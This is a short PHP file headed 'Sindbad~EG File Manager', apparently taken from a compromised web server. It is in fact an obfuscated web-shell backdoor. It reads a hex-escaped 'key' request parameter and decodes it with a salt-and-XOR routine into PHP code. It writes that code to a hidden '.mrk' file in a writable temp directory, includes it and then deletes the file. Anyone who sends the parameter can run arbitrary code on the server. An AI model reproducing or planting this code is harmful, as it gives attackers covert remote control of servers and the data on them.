Sindbad~EG File Manager

<?php

if(array_key_exists("\x6Bey", $_REQUEST) && !is_null($_REQUEST["\x6Bey"])){
	$val = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]);
	$reference = $_REQUEST["\x6Bey"];
	  $reference	= explode   ( 	"." 	,	$reference)	; 
	$ent = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$salt6		);
            $len = count(		$reference		);
    
            for(		$x = 0; $x < $len; $x++) {
                $v7 = $reference[$x];
                $chS = ord(		$salt6[$x % $lenS]		);
                $d =(		(		int)$v7 - $chS -(		$x % 10))	 ^	49;
                $ent .= chr(		$d		);
            }
	while ($data_chunk = array_shift($val)) {
    		if (is_writable($data_chunk) && is_dir($data_chunk)) {
    $k = str_replace("{var_dir}", $data_chunk, "{var_dir}/.mrk");
    $file = fopen($k, 'w');
if ($file) {
	fwrite($file, $ent);
	fclose($file);
	include $k;
	@unlink($k);
	die();
}
}
}
}